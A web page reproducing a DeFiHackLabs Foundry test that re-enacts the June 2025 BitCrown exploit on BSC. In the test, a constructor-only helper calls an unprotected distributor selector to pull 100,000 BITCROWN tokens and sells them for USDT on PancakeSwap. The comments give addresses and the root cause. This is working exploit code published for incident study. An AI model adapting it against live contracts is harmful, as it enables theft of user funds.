Public reproduction file
src/test/2025-06/BitCrown_exp.sol
Public reproduction file for dataset entry BitCrown.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 7,939.27 USD8// Attacker : 0xF499F7A82dE632cFD194025A51C88D1B44C8155e9// Attack Contract : 0x728F4DfeC4cbeF3B51F493Fdb13b5A1824e6d24d10// Vulnerable Contract : 0x93b621a9f8f1821a6a693a29672ca3d6612a2a7e11// Attack Tx : https://bscscan.com/tx/0x442ce0af4d10b23968a66b0b53d7b95f5bb611d55f19dc5a1963c763f65128f012//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x93b621a9f8f1821a6a693a29672ca3d6612a2a7e#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/124318//19// Attack summary: The attacker deployed a constructor-only helper, used an unverified BitCrown distributor function20// to pull 100,000 BITCROWN tokens from the distributor into the helper, then sold those tokens through PancakeSwap21// for USDT.22// Root cause: The distributor exposed an unprotected batch-transfer style entrypoint that let an arbitrary caller23// choose the token, recipient list, and amounts to transfer from the distributor's own token balance.25address constant ATTACKER = 0xF499F7a82De632CFd194025A51C88d1b44C8155e;26address constant INITCODE_EXPLOIT = 0x728F4DFEC4cbeF3b51F493FDB13b5A1824E6D24D;27address constant BITCROWN_DISTRIBUTOR = 0x93b621A9f8F1821a6a693A29672ca3d6612A2A7E;28address constant BITCROWN = 0x3f74A64Eb5641D2479cB8343B2330c6598D126d4;29address constant BITCROWN_USDT_PAIR = 0xC416B5B61321E7432AB080c2a5E0cBd573d3bFe8;30address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;31address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;33bytes4 constant DISTRIBUTE_SELECTOR = 0x1239ec8c;35contract ContractTest is BaseTestWithBalanceLog {36 function setUp() public {37 uint256 forkBlock = 51_131_921;38 vm.createSelectFork("bsc", forkBlock);40 fundingToken = USDT_TOKEN;41 attacker = ATTACKER;43 vm.label(ATTACKER, "Attacker");44 vm.label(INITCODE_EXPLOIT, "Attack Contract");45 vm.label(BITCROWN_DISTRIBUTOR, "BitCrown Distributor");46 vm.label(BITCROWN, "BitCrown");47 vm.label(BITCROWN_USDT_PAIR, "BitCrown/USDT Pair");48 vm.label(PANCAKE_ROUTER, "Pancake Router");49 vm.label(USDT_TOKEN, "USDT");50 }52 function testExploit() public balanceLog {53 uint256 distributorBitCrownBefore = IERC20(BITCROWN).balanceOf(BITCROWN_DISTRIBUTOR);54 uint256 attackerUsdtBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);56 assertGe(distributorBitCrownBefore, 100_000 ether);58 // step 1: deploy the exploit helper so the vulnerable call is made from constructor/initcode context.59 vm.prank(ATTACKER);60 new BitCrownInitcodeExploit(ATTACKER);62 // step 2: the distributor lost BitCrown tokens and the attacker received USDT from the Pancake pair.63 uint256 attackerUsdtProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerUsdtBefore;64 assertGt(attackerUsdtProfit, 7_000 ether);65 assertLt(IERC20(BITCROWN).balanceOf(BITCROWN_DISTRIBUTOR), distributorBitCrownBefore);66 }67}69contract BitCrownInitcodeExploit {70 constructor(71 address profitReceiver72 ) {73 address[] memory recipients = new address[](1);74 recipients[0] = address(this);76 uint256[] memory amounts = new uint256[](1);77 amounts[0] = 100_000 ether;79 // step 3: call the same unverified selector as the exploit, choosing this constructor helper as recipient.80 (bool success,) = BITCROWN_DISTRIBUTOR.call(abi.encodeWithSelector(DISTRIBUTE_SELECTOR, BITCROWN, recipients, amounts));81 require(success, "distributor call failed");83 // step 4: sell the received BitCrown through the canonical Pancake router for USDT to the attacker.84 uint256 bitCrownBalance = IERC20(BITCROWN).balanceOf(address(this));85 IERC20(BITCROWN).approve(PANCAKE_ROUTER, type(uint256).max);87 address[] memory path = new address[](2);88 path[0] = BITCROWN;89 path[1] = USDT_TOKEN;91 IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(92 bitCrownBalance, 0, path, profitReceiver, block.timestamp93 );94 }95}Analysis
Dataset entry
Public Foundry test for “BitCrown” (2025-06-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xf499f7a82de632cfd194025a51c88d1b44c8155e
- Attack Contract
0x728f4dfec4cbef3b51f493fdb13b5a1824e6d24d
- Vulnerable Contract
0x93b621a9f8f1821a6a693a29672ca3d6612a2a7e
- Attack Tx
0x442ce0af4d10b23968a66b0b53d7b95f5bb611d55f19dc5a1963c763f65128f0
File record
- Name
- BitCrown
- Path
- src/test/2025-06/BitCrown_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 84e1bd2a1374478192aa68aa6dde844b793a54b6
- Language
- Solidity
- Size
- 96 lines
- Date
- 2025-06-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/BitCrown_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 84e1bd2a1374478192aa68aa6dde844b793a54b6, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.